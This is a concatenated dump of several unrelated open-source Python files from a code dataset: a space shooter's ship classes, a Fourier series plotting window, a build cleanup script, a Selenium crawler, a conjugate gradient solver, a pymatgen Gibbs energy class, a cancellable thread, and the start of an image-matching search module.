gunsList[settings.avatarGun].energyIdle\n if len(self._wSlots) >= 2:\n weapons.append(gunsList[settings.avatarGun](self._wSlots[1]))\n weapons[-1].amod = -1\n self.consume += gunsList[settings.avatarGun].energyIdle\n for i in self.settings.avatarWeapons:\n if len(weapons) < len(self._wSlots):\n weapons.append(weaponsList[i](self._wSlots[len(weapons)]))\n self.consume += weaponsList[i].energyIdle\n self.weapons = tuple(weapons)\n devices = []\n for i in self.settings.avatarDevices:\n if len(devices) < len(self._dSlots):\n devices.append(devicesList[i](self._dSlots[len(devices)]))\n self.consume += devicesList[i].energyIdle\n self.devices = tuple(devices)\n \n \n def takeDamage(self, source):\n damage = source.damage\n damageToShieldMod = source.damageToShieldMod\n if self.shields - self.absorbedDamage > 0:\n self.absorbedDamage += damage * damageToShieldMod\n if self.absorbedDamage > self.shields:\n self.takenDamage += (self.absorbedDamage - self.shields) / float(damageToShieldMod)\n self.absorbedDamage = self.shields\n EffectRunner(effectsData['eOverload'], self)\n else:\n self.playShield()\n else:\n self.takenDamage += damage\n \n if self.takenDamage > self.life:\n self.owner.killAvatar()\n \n self.hp = self.life - self.takenDamage\n self.sp = self.shields - self.absorbedDamage\n log(self._kind.idString, ' takes ', damage, ' dmg from ', source._kind.idString)\n \n def regen(self, *args):\n modShields = 1.0\n modSpeed = 1.0\n \n rc = self.consume * 100 / self.reactor\n \n if rc < 80:\n modShields = modShields * 80 / rc\n modSpeed = modSpeed * 80 / rc\n elif rc < 100:\n pass\n else:\n modShields = modShields * 80 / rc\n modSpeed = modSpeed * 80 / rc\n \n if self.absorbedDamage > 0:\n self.absorbedDamage -= self.shieldsRegen*modShields/10\n if self.absorbedDamage < 0:\n self.absorbedDamage = 0\n \n for r in self.runners:\n r.effect(self)\n \n self.sp = self.shields - self.absorbedDamage\n self.setTimeScale(modSpeed)\n \n def playShield(self, idx=0):\n def die(object):\n object.kill()\n if idx == 0:\n shield = sprite.Sprite(loadAnimation('data/graphics/ShieldAvatar.png', 4, 1, 0.05))\n elif idx > 0:\n shield = sprite.Sprite(loadAnimation('data/graphics/ShieldAvatarRevived.png', 4, 1, 0.05))\n elif idx < 0:\n shield = sprite.Sprite(loadAnimation('data/graphics/ShieldAvatarBlocked.png', 4, 1, 0.05))\n self.add(shield)\n shield.do(adata['aDelay03'] + actions.CallFuncS(die))\n \n def kill(self):\n if not self._gonnaDie:\n self._gonnaDie = True\n self.stop()\n super(Avatar, self).kill()\n\nclass NPCShip(ASprite):\n def __init__(self, owner, kind, x, y, coordZ=4):\n super(NPCShip, self).__init__(kind.image)\n self.owner = owner\n self.life = kind.life\n self.shields = kind.shields\n self.shieldsRegen = kind.shieldsRegen\n self.absorbedDamage = 0.0\n self.takenDamage = 0\n self.damage = kind.damage\n self.damageToShieldMod = 1\n self.score = kind.score\n self.weapons = kind.weapons\n self.settings = Settings()\n self.rays = []\n self.position = rel(x,y)\n self.soundList = []\n self.runners = []\n self.aura = None \n self._gonnaDie = False\n self._shieldSize = kind.image.get_max_height() / 36.0\n self._auraCache = []\n self._kind = kind\n self._target = None\n self.velocity = 0, 0\n self.lifeMeter = None\n used = shipsUsed.get(kind, [])\n used.append(self)\n shipsUsed[kind] = used\n self.schedule_interval(self.regen, 1)\n self.do(kind.actions)\n owner.add(self, z=coordZ)\n \n def takeDamage(self, source):\n damage = source.damage\n damageToShieldMod = source.damageToShieldMod\n if self.shields - self.absorbedDamage > 0:\n self.absorbedDamage += damage * damageToShieldMod\n if self.absorbedDamage > self.shields:\n self.takenDamage += (self.absorbedDamage - self.shields) / float(damageToShieldMod)\n self.absorbedDamage = self.shields\n EffectRunner(effectsData['eOverload'], self)\n else:\n self.playShield()\n else:\n self.takenDamage += damage\n \n if self.takenDamage > self.life:\n self.owner.addExplosion(self.position)\n self.owner.score += self.score\n self.kill()\n if self.lifeMeter:\n self.lifeMeter.kill()\n self.lifeMeter = None\n log(self._kind.idString, ' takes ', damage, ' dmg from ', source._kind.idString)\n \n \n def shoot(self, target=None):\n if len(self.rays) > 0:\n laser = False\n else:\n laser = True\n for w in self.weapons:\n if w.type == PROJECTILE or w.type == TURRET:\n free = bulletsFree.get(w, []) \n if target:\n if free:\n free[0].reinstate(self, target)\n else:\n Bullet(self, w, target)\n else:\n if free:\n free[0].reinstate(self)\n else:\n Bullet(self, w)\n elif laser and w.type == RAY:\n self.rays.append(Ray(self, w))\n elif w.type == AURA:\n self.aura = w.runner\n elif w.type == SPAWN:\n pos = abs2rel(*self.position)\n Enemy(self.owner, enemies[w.spawnID], pos[0], pos[1])\n if self.settings.sound:\n if not w.startSound is None:\n w.startSound.play()\n if not w.loopSound is None:\n if not w.loopSound in self.soundList:\n w.loopSound.play(-1)\n self.soundList.append(w.loopSound)\n \n def stopShooting(self):\n for i in self.rays:\n i.kill()\n self.aura = None\n for i in self.soundList:\n i.stop()\n del self.soundList[:]\n \n def kill(self):\n if not self._gonnaDie:\n layer = currents['layerObject']\n self._gonnaDie = True\n if self.good:\n layer.avatarHelpers.remove(self)\n else:\n layer.enemies.remove(self)\n if self.owner.target == self:\n self.owner.target = None\n kind = self._kind\n shipsUsed[kind].remove(self)\n free = shipsFree.get(kind, [])\n free.append(self)\n shipsFree[kind] = free\n self.unschedule(self.regen)\n layer.remove(self)\n self.stop()\n \n def reinstate(self, x, y, target=None, coordZ=4):\n layer = currents['layerObject']\n kind = self._kind\n self.absorbedDamage = 0.0\n self.takenDamage = 0\n self.weapons = kind.weapons\n self.settings = Settings()\n self.rays = []\n self.position = rel(x,y)\n self.target = target\n self.soundList = []\n self.runners = []\n self.aura = None \n self.schedule_interval(self.regen, 1)\n self.do(kind.actions)\n self._gonnaDie = False\n self._auraCache = []\n self.velocity = 0, 0\n layer.add(self, z=coordZ)\n if self.good:\n layer.avatarHelpers.append(self)\n else:\n layer.enemies.append(self)\n \n shipsFree[kind].remove(self)\n shipsUsed[kind].append(self)\n \n layer.add(self, z=5)\n \n def disarm(self):\n self.weapons = tuple()\n \n def regen(self, *args):\n if self.absorbedDamage > 0:\n self.absorbedDamage -= self.shieldsRegen\n if self.absorbedDamage < 0:\n self.absorbedDamage = 0\n \n for r in self.runners:\n r.effect(self)\n \n if self.aura:\n aura = self.aura\n for e in currents['layerObject'].enemies:\n p = self.position\n ep = e.position\n if (p[0] - ep[0]) ** 2 - (p[1] - ep[1]) ** 2 <= aura.distance**2:\n if not e in self._auraCache:\n self._auraCache.append(e)\n EffectRunner(aura, e, self)\n elif e in self._auraCache:\n self._auraCache.remove(e)\n \n \n def playShield(self, idx=0):\n def die(object):\n object.kill()\n if idx == 0:\n shield = sprite.Sprite(loadAnimation('data/graphics/ShieldEnemy.png', 4, 1, 0.05))\n elif idx > 0:\n shield = sprite.Sprite(loadAnimation('data/graphics/ShieldEnemyRevived.png', 4, 1, 0.05))\n elif idx < 0:\n shield = sprite.Sprite(loadAnimation('data/graphics/ShieldEnemyBlocked.png', 4, 1, 0.05))\n shield.scale = self._shieldSize\n self.add(shield)\n shield.do(adata['aDelay03'] + actions.CallFuncS(die))\n\nclass Enemy(NPCShip):\n def __init__(self, owner, kind, x, y):\n super(Enemy, self).__init__(owner, kind, x, y)\n owner.enemies.append(self)\n self.good = False\n\nclass Helper(NPCShip):\n def __init__(self, owner, kind, x, y, target=None):\n super(Helper, self).__init__(owner, kind, x, y, 8)\n owner.avatarHelpers.append(self)\n self.good = True","sub_path":"shuan_work/Prototype/modules/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":32865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"361773445","text":"from FourierWindow import *\n\n\nclass FSeriesWindow(FourierWindow):\n \n def __init__(self, root):\n self.title = 'Fourier Series'\n \n self.maxTerms=100\n \n self.signalType = 0\n \n FourierWindow.__init__(self, root)\n \n \n ############################################################################ \n # Contains the different options for the signals, using checkboxes\n #\n ############################################################################ \n def makeLeftPane(self):\n self.dic = {'sqrt(sin(x))': (lambda x: np.where(np.sin(2*pi*x)>0, np.sqrt(np.sin(2*pi*x)), 0.)), \n 'f2' : (lambda x: np.where(signal.sawtooth(2*pi*x)>0, signal.sawtooth(2*pi*x), -1)),\n 'Square' : (lambda x: signal.square(2*pi*x)), 'Sawtooth' : (lambda x: signal.sawtooth(2*pi*x))}\n \n varTitles = ['Function',\"Gibb's Effect Correction\"]\n varDTypes = [StringVar, BooleanVar]\n varDefaults = [self.dic.keys()[0], False]\n varTexts = [self.dic.keys(),['None', 'Yes']]\n varVals = [self.dic.keys(), [False,True]]\n\n optionsSpecs = [varTitles, varDTypes, varDefaults, varTexts, varVals]\n \n self._makeLeftPane(optionsSpecs)\n \n self.funcText = self.options[0]\n self.gibbs = self.options[1]\n \n ############################################################################ \n # Contains the plots and frequency sliders at the bottom\n #\n ############################################################################ \n def makeRightPane(self):\n varNames = ['Num. Terms']\n varLimits = [(0,self.maxTerms)]\n varRes = [1]\n varDTypes = [IntVar]\n varDefaults = [1]\n varValues = [varNames, varLimits, varRes, varDTypes, varDefaults]\n \n self._makeRightPane((2,2), [varValues])\n \n self.numTerms = self.vars[0][0]\n \n ############################################################################ \n # Initializes the signals in the plots\n #\n ############################################################################ \n def initSignals(self):\n self._initSignals()\n \n def cn(self, x, y, n, period):\n c = y * np.exp(-1j * 2. * np.pi * n * x / period)\n return c.sum()/c.size\n \n def fSeries(self, x, y, Nh, period):\n rng = np.arange(0., Nh)\n coeffs = np.array([self.cn(x,y,i,period) for i in rng])\n if self.gibbs.get():\n f = np.array([(2. if i>0 else 1.) * coeffs[i] * np.sinc(i*np.pi/(2*Nh)) * np.exp(1j*2*i*np.pi*x/period) for i in rng])\n else:\n f = np.array([(2. if i>0 else 1.) * coeffs[i] * np.exp(1j*2*i*np.pi*x/period) for i in rng])\n return coeffs, f.sum(axis=0)\n ############################################################################ \n # Updates the plots when anything is changed\n #\n ############################################################################ \n #TODO keep variable of FFT of each level so don't have to compute each time\n def updatePlots(self):\n funcText = self.funcText.get()\n func = self.dic[funcText]\n \n dt = 4./1024\n t = np.linspace(-2,2-dt,1024)\n y = func(t)\n #print sum(y)/len(t), t[0], t[-1]\n n = self.numTerms.get()\n \n coeffs, approx = self.fSeries(t,y,n,1.)\n \n self.axes[2].cla()\n self.axes[2].grid()\n self.axes[3].cla()\n self.axes[3].grid()\n \n self.lines[0].set_data(t,y)\n self.lines[1].set_data(t,approx)\n self.axes[2].stem(coeffs.real,basefmt='k:')\n self.axes[3].stem(-coeffs.imag,basefmt='k:')\n\n self.formatAxes(self.axes[0],t,y,'Time (ms)','Amplitude',funcText)\n self.formatAxes(self.axes[1],t,approx,'Time (ms)','Amplitude','Approximation of '+funcText)\n self.formatAxes(self.axes[2],range(-1,n+1),coeffs.real,'Frequency (kHz)','Coefficient','Cosine Coefficients')\n self.formatAxes(self.axes[3],range(-1,n+1),-coeffs.imag,'Frequency (kHz)','Coefficient','Sine Coefficients')\n \n if max(coeffs.real) < 0: self.axes[2].set_ylim([self.axes[2].get_ylim()[0], 0])\n if min(coeffs.real) > 0: self.axes[2].set_ylim([0, self.axes[2].get_ylim()[1]])\n if max(-coeffs.imag) < 0: self.axes[3].set_ylim([self.axes[3].get_ylim()[0], 0])\n if min(-coeffs.imag) > 0: self.axes[3].set_ylim([0, self.axes[3].get_ylim()[1]])\n \n [ax.axhline(color='k') for ax in self.axes]\n #for fig in self.figs:\n self.fig.canvas.draw_idle()\n self.fig.tight_layout()\n #fig.tight_layout()\n \nif __name__ == \"__main__\":\n root = Tk()\n FSeriesWindow(root)\n \n if os.name == \"nt\": root.wm_state('zoomed')\n else: root.attributes('-zoomed', True)\n\n root.mainloop() \n \n","sub_path":"FSeriesWindow.py","file_name":"FSeriesWindow.py","file_ext":"py","file_size_in_byte":4916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"279870731","text":"# -*- coding:utf-8 -*-\n\nimport os\nimport shutil\nimport string\n\n\ndef del_files(dir, topdown=True):\n for root, dirs, files in os.walk(dir, topdown):\n for name in files:\n pathname = os.path.splitext(os.path.join(root, name))\n if (pathname[1] == \".out\" or pathname[1] == '.o'):\n os.remove(os.path.join(root, name))\n\n\ndef clean():\n if os.path.exists('./test/CMakefiles'):\n shutil.rmtree('./test/CMakefiles')\n if os.path.exists('./build'):\n shutil.rmtree('./build')\n if os.path.exists('./install-dir'):\n shutil.rmtree('./install-dir')\n del_files('./test')\n if os.path.exists('./test/CMakeCache.txt'):\n os.remove('./test/CMakeCache.txt')\n\n\nif __name__ == '__main__':\n clean()\n","sub_path":"clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"366869609","text":"from selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport time\nimport pandas as pd\nimport sys\n\ndriver = webdriver.Chrome(\"본인 웹드라이버 저장 주소\")\ndriver.get('http://ssullog.joins.com/speech/speechList')\n\n#크롤링할 페이지로 들어가기\n#태그는 페이지 열 때마다 새로 설정해두어야 한다.\nsample = driver.find_element_by_css_selector('#speech_no_24713 > div.box-header > div > a')\nsample.send_keys('\\n')\ntime.sleep(5)\n\n#크롤링 해오기\nhtml = driver.page_source\nsoup = BeautifulSoup(html, \"html.parsar\")\n\nnotices = soup.select(\"pop_search > div.db > div.box01\")\n\nfor n in notices:\n\tprint(n.text.strip())\n\tcontents = n.text.strip() #필요한 텍스트를 contents에 저장 \n\n\n#페이지 닫기\ncloser = driver.find_element_by_id('btn_layer_speechall')\ncloser.send_keys('\\n')\n\n\n#텍스트를 파일로 저장하기\nsys.stdout = open('output.txt','w')\nprint(contents) #print()안의 내용이 output.txt 파일에 저장됨.\n","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"411005661","text":"import numpy as np\r\nimport math as m\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nimport unittest\r\n\r\n\"\"\"QUESTION 3\"\"\"\r\n\"\"\"Resolution of the linear system Ax=b by the conjugate gradient method where A is a symmetric positive definite matrix and b a vector (without preconditioning)\"\"\"\r\n\r\n\r\ndef conjgrad(A,b,x) :\r\n r=b-np.dot(A,x)\r\n p=r\r\n rsOld= float(np.dot(np.transpose(r),r))\r\n tab_x=[]\r\n iter=[]\r\n for i in range(1,100001):\r\n Ap=np.dot(A,p)\r\n n = float(np.dot(np.transpose(p),Ap))\r\n alpha=rsOld/n\r\n x=x+ alpha*p\r\n r=r- alpha*Ap\r\n rsNew=float(np.dot(np.transpose(r),r))\r\n tab_x+=[x]\r\n iter+=[i]\r\n if m.sqrt(rsNew) < 1e-10 :\r\n max_iteration=i\r\n break\r\n p=r+rsNew/rsOld*p\r\n rsOld=rsNew\r\n #print('number of iteration needed to find X',max_iteration) \r\n return x#x is the solution\r\n #tab_x is a list regrouping the values of x at each iteration\r\n #iter is a list regrouping the iterations before arriving at the final solution. \r\n\"\"\"QUESTION 4\"\"\"\r\n\r\ndef somme(T, i, j):\r\n return sum(T[i][k] * T[j][k] for k in range(j))\r\n\r\ndef facto_dense_inc(A):\r\n (n, n1) = A.shape\r\n T = np.zeros((n,n))\r\n for i in range(n):\r\n for j in range(i + 1):\r\n if A[i][j] != 0:\r\n if i==j:\r\n T[i][j] = m.sqrt((A[i][i] - somme(T, i, j)))\r\n else:\r\n T[i][j] = (A[i][j] - somme(T, i, j)) / T[j][j]\r\n return T\r\n\r\n\r\ndef preconditioner(A):\r\n T= facto_dense_inc(A)\r\n return np.dot(T,np.transpose(T))\r\n\r\ndef PreconditionedConjgrad(A,b,x):\r\n r=b-np.dot(A,x)\r\n M=preconditioner(A)\r\n z=np.dot(np.linalg.inv(M),r)\r\n p=z\r\n for k in range(1,100001):\r\n alpha=(np.dot(np.transpose(r),z))/(np.dot(np.transpose(p),np.dot(A,p)))\r\n x=x+ alpha*p\r\n r2=r-alpha*(np.dot(A,p))\r\n rsNew=float(np.dot(np.transpose(r2),r2))\r\n if m.sqrt(rsNew) < 1e-10 :\r\n max_iteration=k\r\n break\r\n z2=np.dot(np.linalg.inv(M),r2) \r\n b=(np.dot(np.transpose(z2),r2))/(np.dot(np.transpose(z),r))\r\n z=z2\r\n r=r2\r\n print('number of iteration needed to find X',max_iteration) \r\n return x\r\n\r\n##****************TEST: Conjugate gradient and Preconditionned Conjugate gradient methods \r\nclass Test_gradient(unittest.TestCase):\r\n def test_conjgrad(self):\r\n A= np.array([[4,1],[1,3]])\r\n b= np.array([1,2])\r\n x= np.array([2,1])\r\n expected= np.array([0.0909,0.6363])\r\n result= conjgrad(A,b,x)\r\n for i in range(len(A)):\r\n self.assertAlmostEqual(result[i],expected[i],3)\r\n def test_conjgrad_precond(self):\r\n A= np.array([[4,1],[1,3]])\r\n b= np.array([1,2])\r\n x= np.array([2,1])\r\n expected= np.array([0.0909,0.6363])\r\n result= PreconditionedConjgrad(A,b,x)\r\n print()\r\n for i in range(len(A)):\r\n self.assertAlmostEqual(result[i],expected[i],3) \r\n'''\r\ndef measure_execution_time():\r\n A= np.array([[4,1],[1,3]])\r\n b= np.array([1,2])\r\n x= np.array([2,1])\r\n init_time1= time.time()\r\n PreconditionedConjgrad(A,b,x)\r\n final_time1= time.time() \r\n init_time2= time.time()\r\n conjgrad(A,b,x)\r\n final_time2= time.time() \r\n print('time needed for non precondionned method to find X',final_time1-init_time1) \r\n print('time needed for precondionned method to find X',final_time2-init_time2) \r\nmeasure_execution_time()'''\r\n#s1=TestConjgrad_1(100)\r\n##We generate a curve representing the variations of the relative error according to the number of iterations\r\n##relative error = the difference in magnitudes between the expected solution and the solution found by the algorithm \r\n\r\n#------------->inutile de tracer les tests suffisent (mais a vous de voir)\r\n\r\n#plt.plot(s1[1],s1[0])\r\n#plt.xlabel('Number of iterations')\r\n#plt.ylabel('Relative error')\r\n#plt.title('Variations of the relative error in the resolution of Ax=b') \r\n#plt.show() \r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main(Test_gradient(), verbosity = 2)\r\n","sub_path":"Partie_tests/gradient_final1.py","file_name":"gradient_final1.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"615691144","text":"\" Specialized entry to estimate Gibbs Free Energy for a solid\"\nimport hashlib\nfrom itertools import combinations\nfrom typing import List, Optional\n\nimport numpy as np\nfrom monty.json import MontyDecoder\nfrom pymatgen.core.composition import Composition\nfrom pymatgen.core.structure import Structure\nfrom pymatgen.entries.computed_entries import ComputedEntry, ConstantEnergyAdjustment\nfrom scipy.interpolate import interp1d\n\nfrom rxn_network.data import G_ELEMS\n\n\nclass GibbsComputedEntry(ComputedEntry):\n \"\"\"\n An extension to ComputedEntry which estimates the Gibbs free energy of formation\n of solids using energy adjustments from the machine-learned SISSO descriptor from\n Bartel et al. (2018).\n\n WARNING: This descriptor only applies to solids. See\n entries.nist.NISTReferenceEntry for common gases (e.g. CO2).\n \"\"\"\n\n def __init__(\n self,\n composition: Composition,\n formation_energy_per_atom: float,\n volume_per_atom: float,\n temperature: float,\n energy_adjustments: Optional[List] = None,\n parameters: Optional[dict] = None,\n data: Optional[dict] = None,\n entry_id: Optional[object] = None,\n ):\n \"\"\"\n\n A new computed entry object is returned with a supplied energy correction\n representing the difference between the formation enthalpy at T=0K and the\n Gibbs formation energy at the specified temperature.\n\n Args:\n composition: The composition object (pymatgen)\n formation_energy_per_atom: Calculated formation enthalpy, dH, at T = 298 K,\n normalized to the total number of atoms in the composition.\n volume_per_atom: The total volume of the associated structure divided by\n the total number of atoms.\n temperature: Temperature [K] by which to acquire dGf(T), must be selected\n from a range of [300, 2000] K. If temperature is not selected from\n one of [300, 400, 500, ... 2000 K], then free energies will be\n interpolated.\n energy_adjustments: Optional list of energy adjustments\n parameters: Optional list of calculation parameters\n data: Optional dictionary containing entry data\n entry_id: Optional entry-id, such as the entry's mp-id\n \"\"\"\n self._composition = Composition(composition)\n self.formation_energy_per_atom = formation_energy_per_atom\n self.volume_per_atom = volume_per_atom\n self.temperature = temperature\n\n num_atoms = self._composition.num_atoms\n\n if temperature < 300 or temperature > 2000:\n raise ValueError(\"Temperature must be selected from range: [300, 2000] K.\")\n\n if energy_adjustments is not None:\n energy_adjustments = [\n adjustment\n for adjustment in energy_adjustments\n if adjustment.name != \"Gibbs SISSO Correction\"\n ]\n else:\n energy_adjustments = []\n\n energy_adjustments.append(\n ConstantEnergyAdjustment(\n self.gibbs_adjustment(temperature),\n uncertainty=0.05 * num_atoms, # descriptor has ~50 meV/atom MAD\n name=\"Gibbs SISSO Correction\",\n description=f\"Gibbs correction: dGf({self.temperature} K) - dHf (298 K)\",\n )\n )\n\n formation_energy = num_atoms * formation_energy_per_atom\n\n super().__init__(\n composition=composition,\n energy=formation_energy,\n energy_adjustments=energy_adjustments,\n parameters=parameters,\n data=data,\n entry_id=entry_id,\n )\n\n def get_new_temperature(self, new_temperature: float) -> \"GibbsComputedEntry\":\n \"\"\"\n Return a copy of the GibbsComputedEntry at the new specified temperature.\n\n Args:\n new_temperature: The new temperature to use [K]\n\n Returns:\n A copy of the GibbsComputedEntry at the new specified temperature.\n \"\"\"\n new_entry_dict = self.as_dict()\n new_entry_dict[\"temperature\"] = new_temperature\n\n new_entry = self.from_dict(new_entry_dict)\n return new_entry\n\n def gibbs_adjustment(self, temperature: float) -> float:\n \"\"\"\n Returns the difference between the predicted Gibbs formation energy and the\n formation enthalpy at 298 K, i.e., dGf(T) - dHf(298 K). Calculated using\n SISSO descriptor from Bartel et al. (2018) and elemental chemical potentials\n (FactSage).\n\n Units: eV (not normalized)\n\n Reference: Bartel, C. J., Millican, S. L., Deml, A. M., Rumptz, J. R.,\n Tumas, W., Weimer, A. W., … Holder, A. M. (2018). Physical descriptor for\n the Gibbs energy of inorganic crystalline solids and\n temperature-dependent materials chemistry. Nature Communications, 9(1),\n 4168. https://doi.org/10.1038/s41467-018-06682-4\n\n Args:\n temperature: The absolute temperature [K].\n Returns:\n The correction to Gibbs free energy of formation (eV) from DFT energy.\n \"\"\"\n if self._composition.is_element:\n return 0\n\n num_atoms = self._composition.num_atoms\n reduced_mass = self._reduced_mass(self._composition)\n\n return num_atoms * self._g_delta_sisso(\n self.volume_per_atom, reduced_mass, temperature\n ) - self._sum_g_i(self._composition, temperature)\n\n @staticmethod\n def _g_delta_sisso(\n volume_per_atom: float, reduced_mass: float, temp: float\n ) -> float:\n \"\"\"\n G^delta as predicted by SISSO-learned descriptor from Eq. (4) in\n Bartel et al. (2018).\n\n Args:\n vol_per_atom: volume per atom [Å^3/atom]\n reduced_mass: reduced mass as calculated with pair-wise sum formula [amu]\n temp: Temperature [K]\n\n Returns:\n float: G^delta\n \"\"\"\n\n return (\n (\n -2.48e-4 * np.log(volume_per_atom)\n - 8.94e-5 * reduced_mass / volume_per_atom\n )\n * temp\n + 0.181 * np.log(temp)\n - 0.882\n )\n\n @staticmethod\n def _sum_g_i(composition, temperature) -> float:\n \"\"\"\n Sum of the stoichiometrically weighted chemical potentials [eV] of the elements\n at specified temperature, as acquired from \"elements.json\".\n \"\"\"\n elems = composition.get_el_amt_dict()\n\n if temperature % 100 > 0:\n sum_g_i = 0\n for elem, amt in elems.items():\n g_interp = interp1d(\n [float(t) for t in G_ELEMS.keys()],\n [g_dict[elem] for g_dict in G_ELEMS.values()],\n )\n sum_g_i += amt * g_interp(temperature)\n else:\n sum_g_i = sum(\n [amt * G_ELEMS[str(temperature)][elem] for elem, amt in elems.items()]\n )\n\n return sum_g_i\n\n @staticmethod\n def _reduced_mass(composition: Composition) -> float:\n \"\"\"\n Reduced mass [amu] as calculated via Eq. 6 in Bartel et al. (2018),\n to be used in SISSO descriptor equation.\n \"\"\"\n reduced_comp = composition.reduced_composition\n num_elems = len(reduced_comp.elements)\n elem_dict = reduced_comp.get_el_amt_dict()\n\n denominator = (num_elems - 1) * reduced_comp.num_atoms\n\n all_pairs = combinations(elem_dict.items(), 2)\n mass_sum = 0\n\n for pair in all_pairs:\n m_i = Composition(pair[0][0]).weight\n m_j = Composition(pair[1][0]).weight\n alpha_i = pair[0][1]\n alpha_j = pair[1][1]\n\n mass_sum += (alpha_i + alpha_j) * (m_i * m_j) / (m_i + m_j)\n\n reduced_mass = (1 / denominator) * mass_sum\n\n return reduced_mass\n\n @classmethod\n def from_structure(\n cls,\n structure: Structure,\n formation_energy_per_atom: float,\n temperature: float,\n **kwargs,\n ) -> \"GibbsComputedEntry\":\n \"\"\"\n Constructor method for building a GibbsComputedEntry from a structure,\n formation enthalpy, and temperature.\n\n Args:\n structure: Structure object (pymatgen)\n formation_energy_per_atom: Formation enthalpy at T = 298 K associated\n with structure\n temperature: Desired temperature [K] for acquiring dGf(T)\n **kwargs: Optional kwargs to be passed to init method of GibbsComputedEntry\n\n Returns:\n A new GibbsComputedEntry object\n \"\"\"\n composition = structure.composition\n volume_per_atom = structure.volume / structure.num_sites\n entry = cls(\n composition=composition,\n formation_energy_per_atom=formation_energy_per_atom,\n volume_per_atom=volume_per_atom,\n temperature=temperature,\n **kwargs,\n )\n return entry\n\n @property\n def is_experimental(self):\n return bool(self.data.get(\"icsd_ids\"))\n\n def as_dict(self) -> dict:\n \"Returns an MSONable dict.\"\n data = super().as_dict()\n data[\"volume_per_atom\"] = self.volume_per_atom\n data[\"formation_energy_per_atom\"] = self.formation_energy_per_atom\n data[\"temperature\"] = self.temperature\n return data\n\n @classmethod\n def from_dict(cls, d) -> \"GibbsComputedEntry\":\n \"Returns a GibbsComputedEntry object from MSONable dictionary\"\n dec = MontyDecoder()\n entry = cls(\n composition=d[\"composition\"],\n formation_energy_per_atom=d[\"formation_energy_per_atom\"],\n volume_per_atom=d[\"volume_per_atom\"],\n temperature=d[\"temperature\"],\n energy_adjustments=dec.process_decoded(d[\"energy_adjustments\"]),\n parameters=d[\"parameters\"],\n data=d[\"data\"],\n entry_id=d[\"entry_id\"],\n )\n return entry\n\n def __repr__(self):\n output = [\n f\"GibbsComputedEntry | {self.entry_id} | {self.composition.formula} \"\n f\"({self.composition.reduced_formula})\",\n f\"Gibbs Energy ({self.temperature} K) = {self.energy:.4f}\",\n ]\n return \"\\n\".join(output)\n\n def __eq__(self, other):\n if isinstance(other, self.__class__):\n return (\n (self.entry_id == other.entry_id)\n and (self.temperature == other.temperature)\n and (self.composition == other.composition)\n and (self.energy == other.energy)\n )\n return False\n\n def __hash__(self):\n data_md5 = hashlib.md5(\n \"GibbsComputedEntry\"\n f\"{self.composition}_\"\n f\"{self.energy}_{self.entry_id}_\"\n f\"{self.temperature}\".encode(\"utf-8\")\n ).hexdigest()\n return int(data_md5, 16)\n","sub_path":"y2mn2o7_selectivity/reaction-network/src/rxn_network/entries/gibbs.py","file_name":"gibbs.py","file_ext":"py","file_size_in_byte":10944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"422477578","text":"\"\"\"A threading.Thread subclass that can be cancelled.\n\n\"\"\"\n\nfrom threading import Thread\nfrom typing import Generator\n\n\nclass CancellableThread(Thread):\n \"\"\"A threading.Thread that can be cancelled\n\n A CancellableThread can be stopped asynchronously by the main thread\n if the supplied generator cooperates. The function executed in the\n `run` method must call `yield` periodically. The thread will be more\n responsive to cancelling if generator yields often. A thread should\n not be re-used after it has been cancelled.\n \"\"\"\n\n def __init__(self, target: Generator[None, None, None], name: str = None):\n \"\"\"\n :param target: generator\n :param name: str\n \"\"\"\n if not isinstance(target, Generator):\n raise ValueError(f\"Target must be a generator, not: {type(target)}\")\n\n super().__init__(\n target=target, # type:ignore\n name=name,\n daemon=True,\n )\n self._is_cancelled = False\n\n def run(self) -> None:\n \"\"\"Executes the `target` generator until the thread is cancelled.\n\n The `target` generator is expected to perform a long running operation\n that periodically calls \"yield\" to allow the thread to check if\n it has been cancelled.\n\n ```python\n def long_running(interval:float = 1.0) -> None:\n while True:\n # some operation here\n yield\n time.sleep(interval)\n ```\n\n \"\"\"\n for _ in self._target: # type: ignore\n if self._is_cancelled:\n return\n\n def cancel(self, join: bool = True, timeout: float = 0.05) -> None:\n \"\"\"Signals that the thread should terminate as soon as possible.\n\n Call this method from the main thread on the running thread.\n\n :param join: bool\n :param timeout: float\n \"\"\"\n self._is_cancelled = True\n if join:\n while self.is_alive():\n self.join(timeout)\n","sub_path":"busylight/lights/thread.py","file_name":"thread.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"549152187","text":"# -*- coding: utf-8 -*-\n\nfrom image_match.goldberg import ImageSignature\nfrom elasticsearch import Elasticsearch\nfrom image_match.elasticsearch_driver import SignatureES\nimport statistics\nimport sys, os\nimport json\n\n\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\nimport crossparser_tools\n\ntemp_folder = crossparser_tools.temp_folder\nconfig_folder = crossparser_tools.config_folder\ndata_folder = crossparser_tools.data_folder\nwebsite_root = crossparser_tools.website_root\nproj_root_dir = crossparser_tools.proj_root_dir\n\nimg_folder = crossparser_tools.img_folder\nimg_module_folder = crossparser_tools.img_module_folder\n\n\nimg_db_products = {}\n\ndist_cutoff = 0.7\n\n\ndef one_img_search(img):\n res = ses.search_image(img)\n\n match_prods = {}\n\n for img in res:\n dist = img['dist']\n prod_id = img['metadata']['prod_id']\n if prod_id not in match_prods:\n match_prods[prod_id] = dist\n\n return match_prods\n\n\ndef mul_img_search(imgs):\n\n match_prods = {}\n\n img_ind = -1\n\n for img in imgs:\n img_ind += 1\n match_prods_new = 